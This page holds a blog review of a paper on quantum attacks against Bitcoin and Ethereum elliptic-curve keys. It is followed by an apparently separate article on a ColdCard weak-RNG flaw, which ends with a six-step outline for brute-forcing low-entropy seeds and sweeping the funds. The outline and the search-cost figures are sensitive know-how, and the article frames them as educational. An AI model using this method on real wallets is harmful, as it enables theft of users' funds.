The document is called Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities, and the author list alone forces you to take it seriously: it’s Google Quantum AI (with Craig Gidney, the same guy behind the recent RSA-breaking estimates), plus the Ethereum Foundation (Justin Drake) and Stanford (Dan Boneh, one of the fathers of elliptic-curve cryptography). This is people who build quantum computers sitting at the same table as people who invented a good chunk of the cryptography running today. Rare weight for a subject that usually attracts a lot of hot takes from folks who never read a line of what they’re trashing.

First things first: read the paper directly. It’s long and dense, but written with rare care, including an explicit effort not to turn into FUD.

What I’m doing here is my own read, then comparing it with what GLM, Kimi, and ChatGPT made of it when I asked them to tear the text apart, and finally trying to answer the question that matters to anyone holding a handful of satoshis or ether: in the real world, what are the odds a quantum computer steals your money in the next few years?

I’ll tip the spirit of it upfront: the sky isn’t falling. But the “start moving now” message has real grounding, and the reason is subtler than “quantum is coming.”

The short version, for the impatient:

• The paper is serious and the math holds. Google, the Ethereum Foundation, and Stanford show that breaking secp256k1 dropped to under 500,000 physical qubits and about 9 minutes, in a conditional scenario already confirmed by open, independent reproduction.
• This measures the machine’s size; the date stays open. Today’s best hardware works with about 12 logical qubits, and the attack asks for more than 1,200. On IBM’s roadmap, hardware of the right size shows up around 2033.
• Bitcoin isn’t ending. The risk hits whoever has an exposed public key, a subset of addresses (around 6.9 million BTC, much of it already lost). A modern no-reuse wallet stays safe at rest, and mining is at no risk at all.
• What you can do. As a user, key hygiene: a fresh address per use, no reuse (a stronger password doesn’t help against quantum). As an industry, start the post-quantum migration now, in layers, without throwing everything out.

Below, each of these points in full: what the paper says, where I agree and disagree with the other models, the real odds with timelines, and what to do in practice.

What the paper actually says, in plain engineer terms

Let me get the jargon out of the way first. The security of Bitcoin, Ethereum, and almost all crypto rests on a math problem: given a public key, computing the matching private key is infeasible. Everyone sees your public key; nobody can walk back from it to your private key. That one-way street is what makes a digital signature worth anything.

Shor’s algorithm, running on a big enough quantum computer, breaks exactly that one-way street. It turns “infeasible” into “a matter of minutes.” That’s been known since 1994. The paper’s news is something else, and it’s five points.

First: the cost collapsed. The Google team presents new circuits for solving the secp256k1 curve (the curve behind Bitcoin and Ethereum accounts) using far fewer resources than anyone thought. Two recipes: one with under 1,200 logical qubits and 90 million Toffoli gates, another with under 1,450 logical qubits and 70 million gates.

On superconducting hardware, with standard error-correction assumptions, that would fit in under 500,000 physical qubits — nearly 20 times fewer than prior estimates — and run in 9 to 12 minutes from a precomputed state. Hold onto that number: 9 minutes. It’s the scary one, because it’s shorter than Bitcoin’s average block interval.

Second: they didn’t publish the circuit. Here’s a move that’s elegant and controversial at once. To prove they have a circuit that size without handing everyone a loaded gun, they published a zero-knowledge proof: a mathematical proof that they possess the circuit, without revealing the circuit. Responsible in intent. Except, as I’ll get to, this part was the shakiest piece of the whole story.

If “zero-knowledge proof” sounds esoteric, the idea is simple and old in cryptography: prove you know or have something without revealing the thing itself. You can prove you’re of legal age without showing your birthdate, or that you know a password without typing it.

It’s the same trick behind the privacy of several cryptocurrencies: Zcash uses ZK (the so-called zk-SNARKs) to validate shielded transactions without exposing amount or address, Monero uses range proofs (bulletproofs) to hide how much was sent, and Ethereum’s zk-rollups use ZK to prove a batch of transactions is valid without reprocessing all of it. In the paper, Google uses the same family of tool to prove it possesses the circuit, without handing over the circuit.

Third: not every quantum computer is good for everything. The paper draws a distinction that’s the text’s best practical contribution. There’s the “fast clock” (superconducting, photonic) and the “slow clock” (trapped ions, neutral atoms), with a 100x to 1,000x speed difference. Out of that speed come three types of attack:

• On-spend attack: the attacker intercepts your transaction in the mempool, breaks the key, and injects a rival transaction before your spend lands in a block. Needs a fast clock, because it’s a race against the block clock.
• At-rest attack: the public key is already exposed on the blockchain (a dormant wallet, a reused key). The attacker has days or months to work. Even a slow clock does the job.
• On-setup attack: a single quantum computation extracts a secret from a cryptographic ceremony and becomes a reusable master key, which then runs on ordinary classical computers. This one’s the most insidious, and it hits things like Ethereum’s data-availability mechanism.

Fourth: the map of who bleeds. On Bitcoin, the at-rest targets are the old P2PK scripts (about 1.7 million BTC, almost all Satoshi-era and probably lost), Taproot (P2TR, which exposes the key), and any reused address.

All told, the paper estimates around 6.9 million BTC vulnerable today, of which some 2.3 million have been dormant for more than five years. Modern addresses that hide the key behind a hash and have never spent stay safe at rest.

And there’s good news buried here: Bitcoin mining is not at risk. Grover’s algorithm, which would attack mining, has too small a gain and doesn’t parallelize; error-correction overhead eats it all. The paper buries that myth on purpose.

Bitcoin mining is not at risk. Quantum toppling Proof-of-Work is the myth this paper buries on purpose.

Fifth: Ethereum has a much larger surface. The account model exposes the public key permanently after the first transaction, unlike Bitcoin’s UTXO model. Add to that contract admin keys (stablecoins, bridges, oracles), the BLS signatures holding up Proof-of-Stake consensus, and the KZG commitments in the data layer. More stuff exposed, and much of it you can’t “change addresses” to escape.

And how does the paper argue all this? Three legs: the resource estimates (with the zero-knowledge proof for credibility), real blockchain data (the BTC and ETH at-risk figures come from public BigQuery queries), and the honest framing that the goal is to sound the alarm to migrate, making clear the machine is still to come.

The paper, by the way, gives no date. It sizes the machine and stops there; the calendar stays open.

Where I agree and disagree with the other models

I asked GLM 5.3, Kimi K3, and ChatGPT (GPT 5.6) to analyze and criticize the paper. The interesting part is that all three, and I, converge on the essentials and diverge on exactly the same points. That’s a good sign: when different models hammer the same nail, the nail usually exists.

What everyone agrees on (me included):

• The logical-resource estimate is credible. It’s not a number out of nowhere: it follows the historical trajectory (the cost to break RSA-2048 fell from ~1 billion qubits in 2012 to under 1 million in 2025) and comes from the very group that produced the field’s best estimates.
• The fast-clock / slow-clock distinction and the spend / rest pairing are the right lens for thinking about mitigation.
• The mining immunity is correct and needed saying out loud.
• Dormant assets are a real problem no software fork solves on its own, because nobody holds the private key to move the lost coins.

What everyone flags (and I flag harder):

ChatGPT was the sharpest on a distinction worth gold: there’s a gulf between “value at risk” and “expected loss”. When the paper says “20.5 million ETH in vulnerable accounts” or “6.9 million BTC exposed,” that measures how much the system leans on fragile cryptography. It’s a far bigger number than what an attacker could actually steal.

There’s overlap, there’s multisig, there’s admin keys you can rotate, there are contracts with an emergency council that pauses everything. Stacking those numbers into a “trillions at risk” headline is dishonest to the paper itself.

“Value at risk” measures how much the system leans on fragile cryptography. It’s a far bigger number than what an attacker could actually steal.

Same goes for the famous 41% chance of theft on Bitcoin. That number is only the probability that the 9-minute computation finishes before the next block shows up (a block arrives every 10 minutes on average, but with a lot of variance). It’s not the chance of stealing your money.

To steal, the attacker still has to propagate the rival transaction, convince a miner to include it, win the fee race. And the paper itself assumes attacker-friendly conditions (no network congestion, instant delivery). Kimi and ChatGPT hit this one, and they’re right.

The most important point, and one I think the paper leaves between the lines on purpose: the 500,000 physical qubits and the 9 minutes describe a conditional engineering scenario. On dates, the paper says nothing. It’s a blueprint for a machine that could do the attack, assuming a 0.1% error rate, 1-microsecond correction cycles, low-latency decoding, enough magic-state factories, and half a million qubits running stable for minutes on end.

Each assumption is reasonable in isolation. The whole chain working together, at that scale, nobody has demonstrated.

And here’s the most interesting part, which Kimi and ChatGPT caught and I confirmed by searching outside: the zero-knowledge proof mechanism had a bug. Trail of Bits managed to forge a proof by exploiting memory and logic bugs in Google’s Rust verifier code, to the point of generating a proof that reported zero Toffoli gates for a circuit that wasn’t even reversible.

Notice what that breaks and what it doesn’t. The flaw was in the software that checks the proof, not in any demonstration that the paper’s circuit is wrong. The proof stopped being trustworthy, and the scientific claim itself stayed standing, neither proven nor disproven. Google patched the verifier in version 2.

The lesson is about trust: instead of trusting Google’s word, the proof was asking you to trust its parser, its compiler, and its simulator.

And that’s exactly why the independent reproduction matters so much. In June 2026, researcher André Schrottenloher rebuilt the circuits in the open, landing in the same region: about 56 million Toffoli gates, with the entire circuit published and reproducible.

Gidney himself acknowledged the reproduction captured the essential breakthrough, and after that others already pushed the number below a thousand logical qubits. So: the paper’s central claim held up, but through a route that doesn’t depend on trusting anyone’s proof software. Open science is what closed the case.

One last point almost nobody raises and I think needs saying: conflict of interest. Seven authors are from Google Quantum AI, whose hardware roadmap is precisely the superconducting architecture the paper makes look like the nearest threat. And there’s an Ethereum Foundation coauthor on a paper that ranks Ethereum as more exposed and recommends urgent migration.

The authors disclose long positions in crypto and no shorts, which is honest. None of this invalidates anything — the team’s technical chops are the best in the field — but it calls for a calibrated read, with a cool head.

The question that matters: what are the real odds, and when?

Let’s separate the theoretical from the real, which is where most of these debates turn to mush.

In theory, the answer is yes, comfortably. If a big, stable enough machine exists, Shor’s algorithm breaks secp256k1. On the math side it’s already settled; what’s left is engineering. The whole question boils down to: when does that machine exist?

Physical qubit versus logical qubit

A quick aside to separate two numbers that trip almost everyone up: physical qubit and logical qubit. The physical qubit is the real hardware, and it’s noisy; it loses its state in a blink, from interference, heat, vibration. On its own, it errs far too much for any serious computation.

The fix is error correction: you gang up hundreds or thousands of physical qubits, all representing one logical qubit, and use the redundancy to detect and repair errors in real time. The logical qubit is the “real,” stable qubit the algorithm actually sees.

And that’s where the difficulty hides behind the numbers. The attack doesn’t just ask for 1,200 logical qubits; it asks for 1,200 logical qubits working together, all stable at the same time, for minutes on end, running tens of millions of operations without the correction system getting buried under errors.

It’s like keeping a thousand plates spinning at once, each plate made of a thousand pieces that want to fall, for the entire length of the show. Keeping a single such plate up for an instant was the historic feat of 2024. The jump to a thousand plates, spinning for minutes, is the real chasm.

Where the hardware stands today

In today’s reality, we’re far off. Google itself helps measure the distance. Willow, their flagship chip, demonstrated below-threshold error correction in 2024, a historic feat. But the result was a single well-corrected logical qubit, built from 101 physical ones, which outlived every one of them.

If the ruler is the number of logical qubits running together, the public record today is around a dozen (Quantinuum reached 12). The paper asks for more than 1,200. On both rulers, quality and quantity, the distance runs to roughly a hundredfold, and each logical qubit still costs thousands of physical qubits with the stability we’re missing.

In physical qubits, the largest announced system is in the low thousands; the attack wants nearly half a million. Several orders of magnitude of distance, across several dimensions at once. Nothing a fine-tuning pass fixes.

Today’s best hardware works with logical qubits in the dozen range. The attack needs more than a thousand. The gap is orders of magnitude.

There’s also a bet that sidesteps this brute-force game: the topological one, from Microsoft. The idea is a hardware-protected qubit, naturally more error-resistant, which would slash the count of physical qubits per logical one. Majorana 2, in 2026, swapped aluminum for lead and jumped coherence from milliseconds to 20 seconds, and Microsoft pulled its fault-tolerance target from 2033 to 2029.

But it’s the most disputed bet of them all. Much of the community doubts a real working topological qubit is even there; the latest paper shows only half the measurements that would prove the qubit. If it pans out, it’s a shortcut for everyone; if not, it’s a dead end. I broke this case down in a separate article.

The roadmaps and the timelines

The near future is where the real debate lives. The honest way to talk about it is with estimates, because nobody has certainty here. The most-cited reference is the Global Risk Institute’s Quantum Threat Timeline, an annual survey of experts in the field.

The 2025 edition gives something like 34% odds of a cryptographically relevant quantum computer by ~2030 and ~49% by ~2035, with the median opinion landing between 2029 and 2032. And those estimates are for a generic CRQC, typically framed around breaking RSA-2048.

On the manufacturing side, the most explicit roadmap is IBM’s. It projects Starling in 2029, the first large-scale fault-tolerant machine, with 200 logical qubits and 100 million operations.

Notice that 200 still sits below the more than 1,200 the attack asks for. The machine of the right size only shows up on the next step, Blue Jay, slated for 2033, with 2,000 logical qubits and a billion operations.

So even on the industry’s own most aggressive roadmap, hardware with enough logical qubits to threaten secp256k1 arrives around 2033, with the usual caveat: quantum roadmaps slip. IBM is betting on qLDPC codes to get there, which cut the physical qubits behind each logical one by about 90% compared to Willow’s surface code.

And China? It’s right there at the frontier, which kills the one-horse-race framing. USTC’s Zuchongzhi 3.2 crossed the same error-correction threshold as Willow in 2025, with a distance-7 surface-code logical qubit, and it was the first team outside the US to get there.

But notice it’s the same milestone: a single well-corrected logical qubit, the same hundredfold gap to 1,200. And publicly, China hasn’t put a dated roadmap for the big machine on the table the way IBM has; the stated plan is incremental, pushing the code distance to 9 and 11. At the science frontier, it’s a tie; on a calendar to the machine that breaks crypto, neither side has an easy date.

A warning about all these dates: they’re the best case, with every published roadmap landing on time. A roadmap is a statement of intent, and quantum computing’s track record is one of timelines slipping forward.

I’ll go further, and this is my own opinion: I’d bet on a timeline at least an order of magnitude longer than these roadmaps. Keeping thousands of logical qubits in sync, error-free, for minutes on end, is anything but a linear problem. My gut says each extra logical qubit makes the whole set exponentially harder to hold together: the difficulty of syncing multiplies with every new piece, rather than just adding up.

My read, in numbers

Mapping that onto crypto specifically, my read in round numbers, taking the roadmaps at face value (far more optimistic than my own bet just above), and always as estimate and opinion:

• Next 2 to 3 years (through ~2029): near zero. Going from 12 to 1,200 stable logical qubits in that window isn’t on any serious public roadmap.
• The 2030–2032 horizon: low, but not negligible. Maybe 10% to 20% that the machine exists in principle. The actual theft chance is lower still, because the highest-value targets (exchanges, modern wallets) will have moved by then.
• Around 2035: here it becomes a coin flip for a generic CRQC, in the 40% to 50% range per the experts. Except “a CRQC exists” isn’t the same as “they stole your money.” By then, migration should be well underway.

The detail that decides everything, and that Mosca sums up in a simple theorem: what matters is the machine’s date minus the time your migration takes. If migrating takes years, and the machine could arrive in five to ten, you’re already in a bind, even with low short-term odds. That’s why “start now” makes sense even with clear skies. Asymmetric risk management, with a cool head.

Why this isn’t “it’s over, everything’s lost”

Even in the scenario of a ready machine and a bad actor, the damage is surgical, hitting specific targets instead of wiping everything. And the reason is simple to grasp.

Your crypto doesn’t live on your hard drive or your Ledger. It lives on the public blockchain, in plain sight, all the time. The device only holds the private key that authorizes moving it. Anyone can hit a block explorer, type an address, and see the balance. What decides your quantum exposure is one thing only: has your public key shown up somewhere?

On modern Bitcoin addresses (the bc1q ones, which hide the key behind a hash), as long as you’ve never spent from that address, the public key isn’t exposed. The quantum attacker has nowhere to start, because it breaks the public key, and the key isn’t there. Those funds are safe at rest.

Exposure is only born the moment you spend, and even then it’s a window of minutes, against a block clock, needing that fast-clock machine that doesn’t exist yet.

Watch the word, though: “quantum-resistant” is too big for these addresses. What they give you is at-rest protection, good only while the key stays hidden behind the hash. The day you spend, the public key hits the block and opens the on-spend window. The permanent shield only comes with migrating to a post-quantum signature; the hash just buys time until then.

That’s why the paper talks about roughly 6.9 million vulnerable BTC, out of the nearly 20 million that exist. The biggest slice of that is reused keys and Satoshi-era P2PK, which are probably lost anyway.

It concentrates in a subset of addresses with one specific behavior, an exposed key, while the rest of the network stays out of it. Anyone using a fresh address per receipt and not spending from the same place over and over is, in practice, off the at-rest radar.

The vulnerable crypto is a subset of addresses with one specific behavior: an already-exposed key. A fresh, no-reuse wallet stays out of it.

What you can do today

Here comes the question that always shows up, and the answer that disappoints anyone hoping for a magic button.

“If I create a wallet with a stronger password/passphrase, does that help?” No. And understanding why teaches the whole problem.

A strong passphrase protects your seed — those 12 or 24 words — against someone trying to guess or steal the backup. That’s great and you should do it, but it’s a defense against a classical attack.

And don’t mix up the problems: a badly generated seed is a separate failure, from the classical world. That’s what happened with Coinkite’s weak RNG, where the ColdCard itself spat out predictable keys from bad entropy at the source. There the defect is in how the key is born; quantum attacks the math of the already-finished key.

The quantum computer doesn’t guess your seed. It takes your public key, sitting in plain sight on the blockchain, and computes the matching private key with Shor. It doesn’t matter whether your private key came from a 4-character passphrase or a 40-character one: once the public key has shown up, password strength is irrelevant. Quantum attacks the curve’s math, and that math is the same for everyone.

Quantum doesn’t guess your seed. It computes your private key from the public key already in plain sight. Password strength doesn’t enter into it.

What actually moves the needle is key-exposure hygiene:

• Don’t reuse addresses. One address per receipt. The moment you spend from an address, its public key goes to the blockchain; if you keep using that address, the remaining balance becomes exposed at rest.
• Keep the bulk in modern addresses that hide the key behind a hash (bc1q, P2WPKH) and that you’ve never spent from. Avoid parking reserves in Taproot (bc1p) and in old P2PK addresses, which expose the key directly.
• Don’t spread your extended public key (xpub) around. Portfolio tools, a shared spreadsheet, a third-party integration: every place that gets your xpub is one more exposure point.
• When real post-quantum wallets show up, migrate. That’s the definitive step, and it’ll arrive via a software update.

And the most important thing to keep your head straight: if you store on a serious exchange or use a modern wallet without reuse, your short-term risk is practically zero. The exchange is the one that’ll have to migrate for you (with the custody risks that already exist, quantum or not). No need to run around today moving anything in a panic.

What the industry can do, without going radical

On the protocol-builder side, the temptation is the extreme: “drop everything and switch to post-quantum signatures tomorrow.” That’s as bad as “ignore it, it’s FUD.” Post-quantum cryptography is newer, less battle-tested, has much larger keys and signatures, and swapping blind introduces new bugs where there were none. The sensible path is defense in depth, starting with what’s cheap.

Intermediate measures, easier than the full swap:

• Kill key reuse and minimize public-key exposure in the protocol and wallets by default.
• Private mempools and commit-reveal schemes, which close the on-spend attack window.
• Validator key rotation on Ethereum, a simple stopgap against the consensus attack.
• On Bitcoin, proposals like BIP-360 (the P2MR script), which removes Taproot’s at-rest key exposure.

The medium-term bridge: hybrid signatures, which combine today’s elliptic curve with a post-quantum scheme (lattice-based, for instance). You stay protected against both worlds at the cost of larger signatures, and you don’t bet everything on a new scheme that might have an undiscovered weakness.

The ground is more mature than it looks. NIST has already standardized post-quantum schemes (ML-DSA, the former Dilithium; Falcon; SPHINCS+). Ethereum is discussing post-quantum precompiles (EIP-7932) and account abstraction, which shrink the surface without a traumatic hard fork. Blockchains like Algorand, XRP Ledger, and QRL already experiment with PQC or were born with it. The rail for this migration is already laid, far from a leap in the dark.

And the piece nobody has solved: dormant assets. The lost P2PK coins, including the ~1 million BTC attributed to Satoshi, have no owner to migrate them.

The paper discusses options — do nothing, burn the coins via soft fork, a “recovery sidechain,” or even government-regulated salvage, on the sunken-treasure analogy.

Here I’ll be blunt: this part is the paper’s weakest. It’s political opinion dressed up as a technical conclusion. Nothing in the qubit estimate says who should keep a lost coin, or whether sitting still for five years extinguishes a property right.

These are thorny legal and political choices the paper raises honestly but is nowhere near closing. Good that the conversation starts; bad to treat it as if there’s a ready answer.

The policy section on lost coins is the paper’s weakest: there the science stops and the opinion begins.

Where we actually stand

Summing up the near-future quantum picture in a few layers, ruler always calibrated:

The paper is serious and its math stands, now confirmed by open, independent reproduction. The threat is real enough to justify action, and the reason has a name: Mosca’s theorem. Since migrating takes years, you start before the machine exists, the same way you replace a roof before the storm, while the weather’s good.

But none of this is “sell everything, Bitcoin is done.” The attack is about exposed keys, it’s a subset of addresses, it needs a machine that’s orders of magnitude from existing, and the defenses that matter now are boring hygiene: don’t reuse addresses, don’t park reserves in an exposed key, and migrate to post-quantum when the tooling matures.

Mining is not at risk, your modern no-reuse wallet is not at risk today, and the strongest passphrase in the world changes none of it.

That’s how to read Google’s paper: a competent, self-aware warning, from people who know the subject, saying the window to migrate calmly is narrower than intuition suggests — and still wider than the headline makes it look. Read it straight from the source and draw your own conclusion. Just don’t fall for “it’s over” or “it’s all a lie.” The interesting answer, as almost always, lives in the middle.

The didactic code in this article was generated with Kimi K3. It is worth noting that, given the same prompt, both Claude and GPT refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.

The goal is to answer, line by line, a question many people asked: “if the ColdCard stays offline, how did the bitcoins disappear?”.

Warning: the code here is educational. Running it against addresses that are not yours is a crime. Use it to understand the risk, test your own seeds in a controlled environment, and reinforce why you need to generate fresh entropy.

Summary of the previous post

Between March 2021 and the July 2026 fix, several ColdCard firmwares generated seeds from a deterministic generator instead of the hardware TRNG. The blame lies in a botched integration: the macro MICROPY_HW_ENABLE_RNG was defined as 0, but the guard in libNgU used #ifndef, which only asks whether the symbol exists. The build succeeded, the rng_get() call fell through to MicroPython’s Yasmarang software fallback, and the seed became a product of the microcontroller UID and timing registers.

For readers who do not work with hardware, here is what those acronyms mean:

• UID (Unique Identifier) is the serial number burned into the microcontroller chip at the factory. In the STM32F4 used by the ColdCard, it is 96 bits long — something like 0x4A3F B201 C847 D5E9 1234 5678. Every chip leaves the assembly line with a different UID, but it is fixed and can be read by software. If the attacker knows (or can constrain) this number, they eliminate one of the unknowns.
• RTC (Real-Time Clock) is the microcontroller’s real-time clock. In a PC, that clock is usually backed by a coin-cell battery and keeps running while the machine is off. The ColdCard has no such battery. On Mk2/Mk3 the RTC oscillator is disabled at startup, which strongly suggests that the RTC->TR and RTC->SSR registers read as zero or a static value every time the device cold-boots. On Mk4/Q/Mk5 an RTC source is configured but marked unused, and MicroPython’s RTC initialization remains disabled. In other words, “time” is not a fresh entropy source here — it is another fixed or predictable value that an attacker can profile.
• SysTick is another timer, this one inside the ARM core itself, counting at high speed — typically from 0 to 0x00FFFFFF and rolling over. When the firmware reads this counter at seed-creation time, it captures a value like 0x003D7A12. Because the RTC likely does not vary across cold boots, SysTick becomes practically the only dynamic element of the initial state. Block estimates that, by itself, it can shrink the space to ~80,000 possibilities (~16 bits).

Block’s independent analysis and Coinkite’s technical backgrounder agree on the mechanism, although they differ on impact details. Yesterday’s post has the full affected-firmware table.

The central point is: the effective entropy dropped from at least 128 bits to roughly 40 bits on the Mk3 and 72 bits (with caveats) on newer models. Forty bits are not secure. They are enumerable with cheap hardware.

The wallet does not sit “inside” the ColdCard

Before diving into the attack, repeat the basics. Bitcoin does not sit inside the device. The public blockchain contains UTXOs — transaction outputs — locked by scripts. What your wallet stores is the material to produce signatures that satisfy those scripts.

In the most common case, a native SegWit address is derived from a public key, which in turn comes from a private key, which is just an integer inside the domain of the secp256k1 curve. Whoever knows the integer can sign. Whoever does not, cannot.

That is why the ColdCard can be powered off, battery-less, inside a safe. The attacker does not need to touch it. They only need to reproduce the same integer that the device drew. With a weak RNG, that stops being impossible and becomes a small search space.

You can see any wallet on the blockchain. Just paste an address or xpub into an explorer like mempool.space. The explorer shows balance, UTXOs, and history because that data is public by design. The ColdCard, Ledger, Sparrow, Electrum — none of them “hold” your bitcoins; they only keep the keys that let you spend the UTXOs in the global ledger.

How the attacker prioritizes models

Not all models are equally easy to attack. The priority order follows the search-space size:

Why is the Mk3 the easiest? Because it has no cryptographic contribution from a secure element. The Yasmarang fallback is fully deterministic given the UID and timer state. If the attacker knows (or can constrain) those values, there is no residual secret. Coinkite estimates the effective space at about 40 bits; Block shows that, because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, SysTick alone limits the space to ~80,000 values, i.e. ~16 bits.

On Mk4/Q/Mk5 the secure-element reseed adds 32 bits. That is enough to make the attack much more expensive — but still far from the acceptable 128-bit minimum. Block also points out a source path where a caught exception during initialization can prevent the reseed, falling back to the smaller space.

A rational attacker starts with the biggest return: Mk2/Mk3 v4. Only with leftover resources do they move to Mk4/Q/Mk5.

128 bits, 40 bits, and 72 bits: what is the difference?

Bits measure the size of the search space. Each extra bit doubles the work. The difference is not small — it is exponential.

Imagine you can test 1 billion candidates per second:

Another way to picture it: 40 bits is like finding a specific leaf in a small forest. 72 bits is like finding a specific grain of sand on all the beaches on Earth. 128 bits is like finding a specific atom among the atoms of thousands of planets.

That is why 40 bits is not “slightly less secure” than 128. It is a completely different category: practical to attack with common hardware. 72 bits already demands serious resources, but still falls short of the acceptable minimum for storing value. 128 bits is the standard because, with known computing power, it cannot be beaten.

From an integer to a wallet

Below is a real example of how a number (the entropy) becomes a seed, a private key, and an address. I used 16 bytes (128 bits) just to fit on one line; the ColdCard used 32 bytes, but the idea is the same.

from embit.bip39 import mnemonic_from_bytes, mnemonic_to_seed
from embit.bip32 import HDKey
from embit.script import p2wpkh

entropy = bytes.fromhex("0123456789abcdef0123456789abcdef")  # 128 bits
mnemonic = mnemonic_from_bytes(entropy)
seed = mnemonic_to_seed(mnemonic)
root = HDKey.from_seed(seed)
key = root.derive("m/84'/0'/0'/0/0")

Output:

entropy (128 bits): 0123456789abcdef0123456789abcdef
mnemonic (12 words): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
private key (integer): 1332683685242456724974769347593961509584253593377187298409830148921683854281
address: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw

The private key is just an integer. From it, the elliptic curve computes the public key; the public key is hashed into the address. The address is what appears on the blockchain; the integer is what lets you spend.

In the ColdCard case, the integer did not have 128 bits of real randomness. It had ~40. So instead of searching for a needle in the universe, the attacker was searching for a needle in a small forest.

Real evidence on the blockchain

I am not making up numbers. The independent site coldcard-watch.vercel.app has been tracking the drains transaction by transaction and publishes the verified minimum: 1,128.6633 BTC drained from 2,334 confirmed addresses. The site itself stresses that these are verified minimums, not totals — other clusters likely exist.

It identifies two draining episodes:

• July 30, 2026, blocks 960183 to 960191 — 1,195 addresses drained.
• July 31, 2026, blocks 960345 to 960369 — 1,126 addresses drained.

The main public clusters making up that minimum include:

• bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0 — received 594.47723261 BTC in 501 outputs.
• bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3 — received ~398.476 BTC in a single transaction with 491 inputs (14edd9ee...).
• bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q — received ~89.623 BTC in a single transaction with 204 inputs (4b50d61a...).

Just these three clusters already sum to ~1,082 BTC; the remaining verified transactions bring the confirmed minimum to 1,128.6633 BTC.

The first cluster moved ~562 BTC to bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r; that is the same money, not a fourth victim.

A concrete example: transaction 78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d consolidates three inputs from the same vulnerable address bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, one of them almost 29.9 BTC. All three inputs use the same compressed public key:

037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e

So three different UTXOs, same owner, same private key. The attacker found that key and signed all of them at once.

Other source addresses with large values include bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf (~24.08 BTC), bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5 (~14.43 BTC), and bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw (~11.74 BTC). You can click each one and watch the UTXOs move to a consolidation address.

Bitcoin Optech issue 416 estimated losses above 1,000 BTC while the case was still unfolding; the independent tracker now confirms at least 1,128.6633 BTC stolen.

What the blockchain timeline suggests about attack order

coldcard-watch shows two distinct episodes, separated by more than 24 hours. The first happened between blocks 960183 and 960191 (July 30, around 01:10 UTC); the second between 960345 and 960369 (July 31). Within the first episode, the three large clusters (~594, ~398, and ~89 BTC) were mined in consecutive blocks — so within each wave, the sweeps were launched almost simultaneously.

This two-wave pattern fits two interpretations:

1. Same attacker, pre-computed in batches. The first wave grabs the easiest, best-funded targets; the second wave comes from a second batch of already pre-computed candidates.
2. Multiple attackers. After the flaw became public, other actors joined with their own dictionaries of likely states.

Either way, the economics of the attack favor the order in the table above. Mk2/Mk3 v4 is the best return on compute:

• ~40 bits of effective entropy ≈ 2^40 ≈ 1.1 trillion candidate states.
• On a GPU testing 1 million candidates per second (including BIP32 derivation and explorer lookup), that would take about 13 days to search exhaustively. With 100 GPUs/FPGAs, it drops to a few hours.
• Because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, as Block points out, SysTick alone shrinks the space to ~80,000 values (~16 bits), making the search trivial in seconds.

Mk4/Q/Mk5 with reseed depends on how well the fallback is known:

• If the fallback is known, only the 32 bits from the secure element remain: 2^32 ≈ 4.3 billion candidates per device, or about 1.2 hours per device at 1 million/s.
• If the fallback is completely unknown, the space rises to ~2^72, about 4.7 sextillion candidates — infeasible by brute force alone.

That is why the first wave should be dominated by Mk3. The second wave, more than a day later, may include additional batches of the same model or harder models where the attacker managed to profile the fallback. Without identifying the model behind each address, we cannot say for sure, but the difficulty order is clear.

The speed also shows the attack did not start from scratch on July 30. To search 1.1 trillion states and find hundreds of funded addresses, the attacker already had infrastructure ready or spent days or weeks pre-computing before moving the first UTXOs.

What the chain reveals about the operation

coldcard-hack.up.railway.app analyzes in detail the three waves that emptied 1,082.59 BTC in 41 minutes (blocks 960183 to 960191). Although the site warns it was compiled by an AI agent and not human-reviewed, the blockchain data is verifiable:

Notable details:

• Sorted by balance: within each wave, transactions were ordered from largest to smallest balance. That is not an accident; it is a priority queue configured in the script.
• Identical shape: all 1,195 sweeps spend every UTXO from a single source address into a single output, with no change. No manual variation.
• Uniform fee rate: median of 30.136986 sat/vB across all waves — the same script choosing the fee.
• Address types: 1,182 were native SegWit (v0_p2wpkh), 7 P2SH-wrapped, and 6 legacy. So the attack was not limited to BIP84, although most ColdCard users hold bech32.
• Funds still sitting: when the site froze its data, the ~1,082 BTC were still in the vaults, with no mixing, no peel chain, and no subsequent movement.

All of this points to a single automated operation, not 1,195 independent thefts.

How this slipped through

The same coldcard-hack.up.railway.app maps the commits that introduced the bug. The most damning facts:

• The commit that added the wrong #ifndef guard in libngu had a one-character message, changed 28 files, and did not go through a pull request.
• The First pass w/ libNgU commit, which migrated seed generation to libngu and stripped GPL code, changed 120 files and was also pushed directly, with no PR.
• The two later commits that added the 32-bit reseed and the secure-element mixing did open pull requests, but merged with zero reviews.

A critical change in the entropy-generation path went through without end-to-end review. The correct TRNG existed in the binary; the problem was that the wrong symbol got linked, and nobody wrote a test proving where the seed actually came from.

The conceptual attack flow

Before the code, the general flow:

1. Reproduce the RNG. The attacker implements Yasmarang exactly as in the firmware, including the XOR with the second Yasmarang in libNgU.
2. Enumerate plausible states. For every combination of UID, SysTick, RTC, and — on newer models — secure-element reseed, they generate the 32 bytes that the ColdCard would have produced as entropy.
3. Derive the wallet. From that entropy, compute the BIP39 mnemonic, the BIP32 seed, and the first receiving and change addresses.
4. Query the blockchain. For each derived address, ask an explorer or a local node whether a UTXO exists.
5. Stop at the match. When a derived address matches an address with balance, the attacker already has the corresponding private key.
6. Spend. With the private key, build a transaction that moves the UTXO to an address they control.

